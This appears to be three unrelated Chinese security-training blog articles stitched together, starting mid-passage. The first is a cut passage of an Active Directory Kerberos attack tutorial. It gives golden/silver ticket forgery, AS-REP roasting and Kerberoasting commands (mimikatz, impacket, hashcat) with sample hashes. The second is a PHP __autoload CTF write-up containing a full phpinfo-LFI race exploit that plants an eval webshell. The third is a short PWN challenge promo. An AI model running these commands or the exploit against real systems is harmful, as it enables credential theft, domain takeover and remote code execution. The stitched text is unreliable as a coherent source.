C:\\Users\\mars2\\Desktop\\gold.kirbi查看本地缓存,发现凭据成功导入 kerberos::list 打开新的cmd,用klist查看凭证 dir连接过去,注意这里必须要主机名,不能够用IP连接 这里有一个坑,必须要管理员权限开cmd,不然也会显示拒绝访问 看下权限,处于Domain Users组 查看所有组 net group /do 查看Domain Controllers组,这里我在域用户机器上可以查看是因为我导入了金票,实际上这个命令只能在DC上才能查看 net group "Domain Controllers" /do 删除凭据 kerberos::purge 使用impacket 使用kali,不在域内需要把dns改向域控 先生成票据administrator.ccache python3 ticketer.py -domain-sid S-1-5-21-652679085-3170934373-4288938398-502 -nthash c1833c0783cfd81d3548dd89b017c99a -domain Drunkmars.com administrator导入票据 export KRB5CCNAME=administrator.ccache然后访问域控 python3 smbexec.py -no-pass -k WIN-M836NN6NU8B.Drunkmars.com AS-REP Roasting 在AS-REP阶段,最外层的enc-part是用户密码hash加密的。对于域用户,如果设置了"Do not require Kerberos preauthentication",此时向域控的88端口发送AS-REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密的Login Session Key,通过离线爆破就可以获得用户hash)重新组合,能够拼接成"Kerberos 5 AS-REP etype 23"(18200)的格式,接下来可以通过hashcat对其破解,最终获得明文密码,这就构成了AS-REP Roasting攻击 默认这个功能是不启用的,如果启用AS-REP会返回用户hash加密的sessionkey-as,这样我们就能够用john离线破解 使用Empire下的powerview.ps1查找域中设置了"不需要kerberos预认证"的用户 Import-Module .\powerview.ps1 Get-DomainUser -PreauthNotRequired 使用ASREPRoast.ps1获取AS-REP返回的hash Import-Module .\ASREPRoast.ps1 Get-ASREPHash -Username mars2 -Domain Drunkmars.com | Out-File Encoding ASCII hash.txt修改为hashcat能识别的格式,在$krb5asrep后面添加$23拼接 hashcat -m 18200 hash.txt pass.txt --force TGS-REQ 经过上面的步骤,客户端获得了 TGT认购权证 和 Login Session Key。然后用自己的密码NTLM Hash解密Login Session Key得到 原始的LogonSession Key。然后它会在本地缓存此 TGT认购权证 和 原始的Login Session Key。如果现在它需要访问某台服务器的某个服务,它就需要凭借这张TGT认购凭证向KDC购买相应的入场券ST服务票据(Service Ticket)。ST服务票据是通过KDC的另一个服务 TGS(Ticket Granting Service)出售的。在这个阶段,微软引入了两个扩展自协议 S4u2self 和 S4u2P TGS-REQ:客户端向KDC购买针对指定服务的ST服务票据请求,该请求主要包含如下的内容:客户端信息、Authenticator(Login Session Key加密的时间戳)、TGT认购权证(padata下ap-req下的ticket) 和 访问的服务名以及一些其他信息 TGS-REP TGS-REP:TGS接收到请求之后,首先会检查自身是否存在客户端所请求的服务。如果服务存在,则通过 krbtgt 用户的NTLM Hash 解密TGT并得到Login Session Key,然后通过Login Session Key解密Authenticator,如果解密成功,则验证了对方的真实身份,同时还会验证时间戳是否在范围内。并且还会检查TGT中的时间戳是否过期,且原始地址是否和TGT中保存的地址相同。 在完成上述的检测后,如果验证通过,则TGS完成了对客户端的认证,会生成一个用Logon Session Key加密后的用于确保客户端-服务器之间通信安全的Service Session Key会话秘钥(也就是最外层enc-part部分)。并且会为该客户端生成ST服务票据。ST服务票据主要包含两方面的内容:客户端用户信息 和 原始Service Session Key,整个ST服务票据用该服务的NTLM Hash进行加密。 最终Service Session Key 和 ST服务票据发送给客户端。(这一步不管用户有没有访问服务的权限,只要TGT正确,就都会返回ST服务票据,这也是kerberoasting能利用的原因,任何一个用户,只要hash正确,就可以请求域内任何一个服务的ST票据) enc-part:这部分是用请求服务的密码Hash加密的。因此如果我们拥有服务的密码Hash,那么我们就可以自己制作一个ST服务票据,这就造成了白银票据攻击。也正因为该票据是用请求服务的密码Hash加密的,所以当我们得到了ST服务票据,可以尝试爆破enc_part,来得到服务的密码Hash。这也就造成了kerberoast攻击。 TGS-REP过程中的攻击方式 何为SPN SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。 Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个SPN。SPN始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册SPN。一个用户账户下可以有多个SPN,但一个SPN只能注册到一个账户。在内网中,SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是kerber 下面通过一个例子来说明SPN的作用: 当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控查询SPN为MySQL的记录。当找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中的TGS服务对TGT进行解密。确认无误后,由TGS将一张允许访问该SPN所对应的服务的ST服务票据和该SPN所对应的服务的地址发送给用户,用户使用该票据即可访问MySQL服务。 SPN分为两种类型: 1.是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。域中的每个机器都会有注册两个SPN:HOST/主机名和 HOST/主机名.Drunkmars.com 2.是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下 查看当前域内所有的SPN: setspn -Q \* \*查看指定域Drunkmars.com注册的SPN: setspn -T Drunkmars.com -Q \* \*如果指定域不存在,则默认切换到查找本域的SPN 查找本域内重复的SPN: setspn -X删除指定SPN: setspn -D MySQL/win7.Drunkmars.com:1433/MSSQL hack查找指定用户/主机名注册的SPN: setspn -L username/hostname Kerberoast攻击 Kerberoast攻击过程: 1.攻击者对一个域进行身份验证,然后从域控制器获得一个TGT认购权证,该TGT认购权证用于以后的ST服务票据请求 2.攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式(name/host)的 servicePrincipalName (SPN)。例如:MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName 字段中注册。 在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。 3.如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证中提取信息并填充到ST服务票据中。 然后,域控制器查找哪个帐户在ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。 4.攻击者从 TGS-REP 中提取加密的服务票证。 由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。 首先是请求服务票据 1.Rubeus.exe请求 Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用hashcat 或 john 爆破的Hash。以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式 Rubeus.exe kerberoast 2.powershell请求 #请求服务票据 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433" #列出服务票据 klist 3.mimikatz请求 请求服务票据 kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433列出服务票据 kerberos::list清除所有票据 kerberos::purge4.Impacket中的GetUserSPNS.py请求 该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据,可用hashcat直接爆破。 python3 GetUserSPNs.py -request -dc-ip 192.168.200.143 0day.org/jack 导出票据 首先是查看klist或mimikatz.exe "kerberos::list" MSF里面 load kiwi kerberos_ticket_list或 load kiwi kiwi_cmd kerberos::list1.mimikatz导出 mimikatz.exe "kerberos::list /export" "exit"执行完后,会在mimikatz同目录下导出 后缀为kirbi的票据文件 2.Empire下的Invoke-Kerberoast.ps1 Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat 离线破解服务票据 1.kerberoast中的tgsrepcrack.py python2 tgsrepcrack.py password.txt xx.kirbi 2.hashcat 将导出的hashcat格式的哈希保存为hash.txt文件,放到hashcat的目录下 hashcat -m 13100 hash.txt pass.txtKerberoast攻击防范 确保服务账号密码为强密码(长度、随机性、定期修改) 如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5,就无法实验tgsrepcrack.py来破解密码。 攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此,如果强制实验AES256_HMAC方式对Kerberos票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性。 许多服务账户在内网中被分配了过高的权限,且密码强度较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管理员权限。因此,应该对服务账户的权限进行适当的配置,并提高密码的强度。 在进行日志审计时,可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志,应进一步检查系统中是否存在恶意行为。 白银票据 在TGS-REP阶段,TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据,这个票据也被称为白银票据。相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash,由于生成的是TGS票据,不需要跟域控打交道,但是白银票票据只能访问特定服务。但是要注意的一点是,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDCPAC签名,则银票将不起作用 要创建白银票据,我们需要知道以下信息: 要伪造的域用户(这里我们一般填写域管理员账户) 域名 域的SID值(就是域成员SID值去掉最后的) 目标服务的FQDN 可利用的服务 服务账号的NTLM哈希 这里使用白银票据伪造CIFS服务,该通常用于Windows主机之间的文件共享。 1.mimikatz获得服务账号的ntlm hash privilege::Debug sekurlsa::logonpasswords 得到ntlm为7c64e7ebf46b9515c56b2dd522d21c1c 2.使用白银票据攻击 kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt 3.查看票据 4.访问域控 防御: 伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDCPAC签名,则银票将不起作用。 黄金票据和白银票据的不同点 访问权限不同: 黄金票据Golden Ticket:伪造TGT认购权证,可以获取任何Kerberos服务权限 白银票据Silver Ticket:伪造ST服务票据,只能访问指定的服务 加密方式不同: Golden Ticket由krbtgt的Hash加密 Silver Ticket由服务账号(通常为计算机账户)Hash加密 认证流程不同: Golden Ticket的利用过程需要访问域控,而Silver Ticket不需要
autoload魔术方法的妙用
前言: __autoload魔术方法从PHP7.2.0开始被废弃,并且在PHP8.0.0以上的版本完全废除。取而代之的则是spl_autoload_register,但是本文还是研究__autoload。 什么是autoload魔术方法? 首先还是从官方手册中下手,了解autoload函数 由此可见,__autoload魔术方法需要有一个类名的参数,使用这个魔术方法之后即可自动加载相应的类。 虽然说是自动,但是本质上还是需要我们指定类名,__autoload才会为我们包含文件,自动加载相应的类。 举一个简单的例子,假设我们有index.php业务代码如下: <?php function __autoload($classname){ include("class_$classname.php"); } $a = new A();并且我们有class_A.php代码如下: <?php class A{ function __construct(){ echo "I am class A\n"; } }我们可以看到,即使我们在index.php中没有包含class_A.php中的类A,但是在index.php中却新建了一个对象,此时因为在index.php中没有类A,所以PHP会自动调用__autoload魔术方法。 而我们__autoload魔术方法的作用就是将相关文件包含进来,因此最终程序还是成功的将I am class A输出。 所以,__autoload只需要我们在魔术方法内写明一个逻辑:如果在后面的代码中,新建一个对象,找不到对应的类的时候,应该包含哪些文件。 autoload相比手动加载有哪些优势? 虽然说感觉__autoload很智能,但是通过上方的例子并不能很明显体现__autoload的优点,因此下方换一个例子,用来展示__autoload相比手动加载的其他优势。 首先假设我们有autoload.php主业务逻辑代码如下: <?php require_once("class_A.php"); require_once("class_B.php"); require_once("class_C.php"); if ($_GET["class"] === 'A'){ $a = new A(); } else if ($_GET["class"] === 'B'){ $b = new B(); } else if ($_GET["class"] === 'C'){ $c = new C(); }光看这么一段代码就已经觉得手动加载很繁琐了,因为在这段代码中,仅仅只是包含了三个文件,虽然本质上的业务逻辑十分简单,但是代码看起来很繁琐,并且在这一段代码还存在一个很大的问题,就是资源的浪费。我们可以看到主要的业务逻辑就是一个if语句,并且无论我们往class中怎么传参,总是至少有两个类是无法新建的。也就是说,在代码最上方的三行包含文件代码中,至少有两行的文件加载是多余的。因此,这样就就造成了资源的浪费。 那么如何解决这一个问题呢? 答案就是使用__autoload魔术方法,在我们需要的将相关文件包含进来。 因此我们将autoload.php代码修改如下: <?php function __autoload($classname){ require("class_$classname.php"); } if ($_GET["class"] === 'A'){ $a = new A(); } else if ($_GET["class"] === 'B'){ $b = new B(); } else if ($_GET["class"] === 'C'){ $c = new C(); }这个时候不仅代码看上去清爽了很多,而且在理论上,运行的效率会更高,占用的系统资源会更少。 除此之外,这么写其实还有一个优点,这里用到的文件包含函数是require,而上方使用的是require_once,这么写的好处就是:如果后面再次调用类A、B、C,那么PHP会自动从内存中加载这些类,不会再一次调用__autoload魔术方法。 那么,__autoload在开发中这么神奇,在安全中有没有什么利用场景呢? 有!那必然是有!下面将从一道CTF赛题中看看__autoload在安全中是怎么用的。 从一道CTF题看autoload 首先题目代码如下: <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date:   2020-10-13 11:25:09 # @Last Modified by:   h1xa # @Last Modified time: 2020-10-19 07:12:57 */ include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{    private $username;    private $password;    private $vip;    private $secret;    function __construct(){        $this->vip = 0;        $this->secret = $flag;   }    function __destruct(){        echo $this->secret;   }    public function isVIP(){        return $this->vip?TRUE:FALSE;       }   }    function __autoload($class){        if(isset($class)){            $class();   } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){    die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){    echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){    include($ctf); }我们可以看到在类CTFSHOW里有一个__autoload魔术方法,虽然是在类里面,但是这是一个全局的魔术方法,也就是说只要调用未知名称的类,都会调用__autoload这个魔术方法,而__autoload魔术方法将传入的参数作为命令执行。 然后我们再往下审计: $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){    die("error"); } $ctf = $_POST['ctf']; extract($_GET);这一部分代码是过滤部分字符,POST传入ctf,并且将GET请求中的变量名和值进行赋值 if(class_exists($__CTFSHOW__)){    echo "class is exists!"; }这一部分有一个函数:class_exists 这一个函数和前面提到的新建对象一样,如果不存在这个类,同样也会调用__autoload魔术方法 而且需要有一个__CTFSHOW__变量,但是下划线过滤了。不过没关系,在PHP中,当我们使用.作为变量名时,PHP会将.转化为下划线。 if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){    include($ctf); }而这一部分代码不允许ctf中存在:,并且过滤了log,也就是不允许我们日志注入,但是这里存在一个文件包含。 因此我们可以考虑利用文件包含结合phpinfo进行RCE。 这里贴一个项目链接,这个项目大概就是可以通过phpinfo结合本地文件包含,利用PHP的文件上传会存在临时文件的特性,进行getshell,具体原理就不再赘述了,参考说明文档即可。 exp链接:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py 说明文档:https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md 将改exp修改部分后,如下: #!/usr/bin/python import sys import threading import socket attempts_counter = 0 def setup(host, port, phpinfo_path, lfi_path, lfi_param, shell_code='<?php eval($_POST["mb"]);?>', shell_path='/tmp/g'):    """   根据提供参数返回请求内容   :param host:HOST   :param port:端口   :param phpinfo_path: phpinfo文件地址   :param lfi_path: 包含lfi的文件地址   :param lfi_param: lfi载入文件时, 指定文件名的参数   :param shell_code: shell代码   :param shell_path: shell代码保存位置   :return:       phpinfo_request: phpinfo 请求内容       lfi_request: lfi 请求内容       tag: 标识内容   """    tag = 'Security Test'   # 搜索验证标识    payload = \ '''{tag}\r <?php $c=fopen('{shell_path}','w');fwrite($c,'{shell_code}');?>\r '''.format(shell_code=shell_code, tag=tag, shell_path=shell_path)    request_data = \ '''-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r {payload} -----------------------------7dbff1ded0714--\r ''' .format(payload=payload)    phpinfo_request = \ '''POST {phpinfo_path}?%5f%5fCTFSHOW%5f%5f=phpinfo&a={padding} HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r HTTP_ACCEPT: {padding}\r HTTP_USER_AGENT: {padding}\r HTTP_ACCEPT_LANGUAGE: {padding}\r HTTP_PRAGMA: {padding}\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: {request_data_length}\r Host: {host}:{port}\r \r {request_data} '''.format(    padding='A' * 4000,    phpinfo_path=phpinfo_path,    request_data_length=len(request_data),    host=host,    port=port,    request_data=request_data   )    lfi_request = \ '''POST {lfi_path}?{lfi_param} HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: {host}\r Content-Type: application/x-www-form-urlencoded\r \r ctf={{}}\r '''.format(    lfi_path=lfi_path,    lfi_param=lfi_param,    host=host   )    return phpinfo_request, tag, lfi_request def phpinfo_lfi(host, port, phpinfo_request, offset, lfi_request, tag):    """   通过向phpinfo发送大数据包延缓时间, 然后利用lfi执行   :param host:HOST   :param port:端口   :param phpinfo_request: phpinfo页面请求内容   :param offset: tmp_name在phpinfo中的偏移位   :param lfi_request: lfi页面请求内容   :param tag: 标识内容   :return:       tmp_file_name: 临时文件名   """    phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    lfi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    phpinfo_socket.connect((host, port))    lfi_socket.connect((host, port))    # 1. 先向phpinfo发送大数据包, 且其中包含php会将payload放入临时文件中    # print(phpinfo_request)    # print(lfi_request)    phpinfo_socket.send(phpinfo_request.encode())    phpinfo_response_data = ''    while len(phpinfo_response_data) < offset:        # 取不到数据则反复执行        phpinfo_response_data += phpinfo_socket.recv(offset).decode()    try:        tmp_name_index = phpinfo_response_data.index('[tmp_name] =&gt')        # 获取包含payload的临时文件名        tmp_file_name = phpinfo_response_data[                            tmp_name_index + 17:                            tmp_name_index + 31                       ]    except ValueError:        return None    # 2. 再向lfi发送包含payload的临时文件名, 用于包含    lfi_socket.send((lfi_request.format(tmp_file_name)).encode())    # print(lfi_request.format(tmp_file_name))    lfi_response_data = lfi_socket.recv(4096).decode()    # 3. 停止phpinfo socket连接    phpinfo_socket.close()    # 4. 停止lfi socket连接    lfi_socket.close()    if lfi_response_data.find(tag) != -1:        # 5. lfi response中存在标识内容则payload执行成功        return tmp_file_name class ThreadWorker(threading.Thread):    def __init__(self, event, lock, max_attempts,                 host, port, phpinfo_request,                 offset, lfi_request, tag,                 shell_code, shell_path,                 lfi_path, lfi_param):        threading.Thread.__init__(self)        self.event = event        self.lock = lock        self.max_attempts = max_attempts        self.host = host        self.port = port        self.phpinfo_request = phpinfo_request        self.offset = offset        self.lfi_request = lfi_request        self.tag = tag        self.shell_code = shell_code        self.shell_path = shell_path        self.lfi_path = lfi_path        self.lfi_param = lfi_param    def run(self):        global attempts_counter        while not self.event.is_set():            # 如果没有set event则一直重复执行, 直到已尝试次数大于最大尝试数(attempts_counter > max_attempts)            with self.lock:                # 获取锁, 执行完后释放                if attempts_counter >= self.max_attempts:                    return                attempts_counter += 1            try:                tmp_file_name = phpinfo_lfi(                    self.host, self.port, self.phpinfo_request, self.offset, self.lfi_request, self.tag)                if self.event.is_set():                    break                if tmp_file_name:                    # 找到tmp_file_name后通过set event停止运行                    print('\n{shell_code} 已经被写入到{shell_path}中'.format(                        shell_code=self.shell_code,                        shell_path=self.shell_path                   ))                    'http://127.0.0.1/test/lfi_phpinfo/lfi.php?load=/tmp/gc&f=uname%20-a'                    print('默认调用方法: http://{host}:{port}{lfi_path}?{lfi_param}={shell_path}&f=uname%20-a'.format(                        host=self.host,                        port=self.port,                        lfi_path=self.lfi_path,                        lfi_param=self.lfi_param,                        shell_path=self.shell_path                   ))                    self.event.set()            except socket.error:                return def get_offset(host, port, phpinfo_request):    """   获取tmp_name在phpinfo中的偏移量   :param host: HOST   :param port: 端口   :param phpinfo_request: phpinfo 请求内容   :return:       tmp_name在phpinfo中的偏移量   """    phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    phpinfo_socket.connect((host, port))    phpinfo_socket.send(phpinfo_request.encode())    phpinfo_response_data = ''    while True:        i = phpinfo_socket.recv(4096).decode()        phpinfo_response_data += i        if i == '':            break        # 检测是否是最后一个数据块        if i.endswith('0\r\n\r\n'):            break    phpinfo_socket.close()    tmp_name_index = phpinfo_response_data.find('[tmp_name] =&gt')    print(phpinfo_response_data)    if tmp_name_index == -1:        raise ValueError('没有在phpinfo中找到tmp_name')    print('找到了 {} 在phpinfo内容索引为{}的位置'.format(        phpinfo_response_data[tmp_name_index:tmp_name_index+10], tmp_name_index))    return tmp_name_index + 256 def main():    pool_size = 100    host = '7438117e-d02c-467c-859a-17c47f67b37e.challenge.ctf.show'    port = 8080    phpinfo_path = '/'    lfi_path = '/'    lfi_param = 'isVIP=1'    shell_code = '<?php eval($_POST["mb"]);?>'    shell_path = '/tmp/g'    # 最大尝试次数    max_attempts = 1000    print('LFI With PHPInfo()')    # 一 生成phpinfo请求内容, 标志内容, lfi请求内容    phpinfo_request, tag, lfi_request = setup(        host=host, port=port, phpinfo_path=phpinfo_path, lfi_path=lfi_path,        lfi_param=lfi_param, shell_code=shell_code, shell_path=shell_path)    # 二 获取[tmp_name]在phpinfo中的偏移位    offset = get_offset(host, port, phpinfo_request)    sys.stdout.flush()    thread_event = threading.Event()    thread_lock = threading.Lock()    print('创建线程池 {}...'.format(pool_size))    sys.stdout.flush()    thread_pool = []    for i in range(0, pool_size):        # 三 多线程执行phpinfo_lfi        thread_pool.append(ThreadWorker(thread_event, thread_lock, max_attempts,                                        host, port, phpinfo_request, offset,                                        lfi_request, tag,                                        shell_code, shell_path,                                        lfi_path, lfi_param                                       ))    for t in thread_pool:        t.start()    try:        while not thread_event.wait(1):            if thread_event.is_set():                break            with thread_lock:                sys.stdout.write('\r{} / {}'.format(attempts_counter, max_attempts))                sys.stdout.flush()                if attempts_counter >= max_attempts:                    # 尝试次数大于最大尝试次数则退出                    break        if thread_event.is_set():            print('''success !''')        else:            print('LJBD!')    except KeyboardInterrupt:        print('\n正在停止所有线程...')        thread_event.set()    for t in thread_pool:        t.join() if __name__ == "__main__":    main()当然啦,这题除了可以利用__autoload魔术方法结合本地文件包含getshell,也可以用php上传文件条件竞争来做。 总结: __autoload之所以好用,首先是因为它是一个全局的魔术方法,并且开发者在使用__autoload的时候,往往是为了包含相关的文件,而在指定包含的文件名时,就可能会出现包含文件可控的情况,虽然__autoload已经在新版本的PHP中废弃,但是在对我们研究老版本的PHP项目,还是有一定指导意义的。 https://www.yijinglab.com/pages/CTFLaboratory.jsp
cover,你知道什么是延迟绑定吗
正文: 每周五固定节目又来了!今天给大家带来的是第三题<cover>,本题为PWN题型。 上一个周五是快乐假期的开始,谁能料到这一个周五竟是打工的开始。 放假归来第一天,最提神的事当然是来做道题测测脑子还在不在线。蚁景就是如此贴心地送上了新题型,前面的WEB题连续上线,这下可以让大脑换个思考方向了。 PWN在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell。CTF中主要考察二进制漏洞的发掘和利用,需要对计算机操作系统底层有一定的了解。在CTF竞赛中,PWN题目主要出现在Linux平台上,选手需要一定的C/C++编程语言、汇编/反汇编、操作系统、堆栈原理…等等基础。  本次解题主要利用栈溢出修改局部变量的值,需要先了解动态链接程序延迟绑定的机制。 在Linux中如果程序想要调用其它动态链接库的函数,必须要在程序加载的时候动态链接。在一个程序运行过程中,可能很多函数在程序执行完时都不会用到,比如一些错误处理函数或者一些用户很少用到的功能模块,所以ELF采用一种叫做延迟绑定(Lazy Binding)的做法,基本思想就是当函数第一次被调用的时候进行绑定。解题视频中有一步一步讲解exp的编写及相关知识点,过程中的软件使用也有简单介绍,快来一起开启解题之路吧!  最后,如果有技术段位高的觉得这种题比较基础追求继续深入的,还可以来实验室学习高阶的栈溢出内容:《高级栈溢出技术—ROP实战》,知识点那么多,学着学着就会废的。  我们下个周五见,国庆盼完等元旦! https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID414f-9201-4027-b8f0-c5394fc27894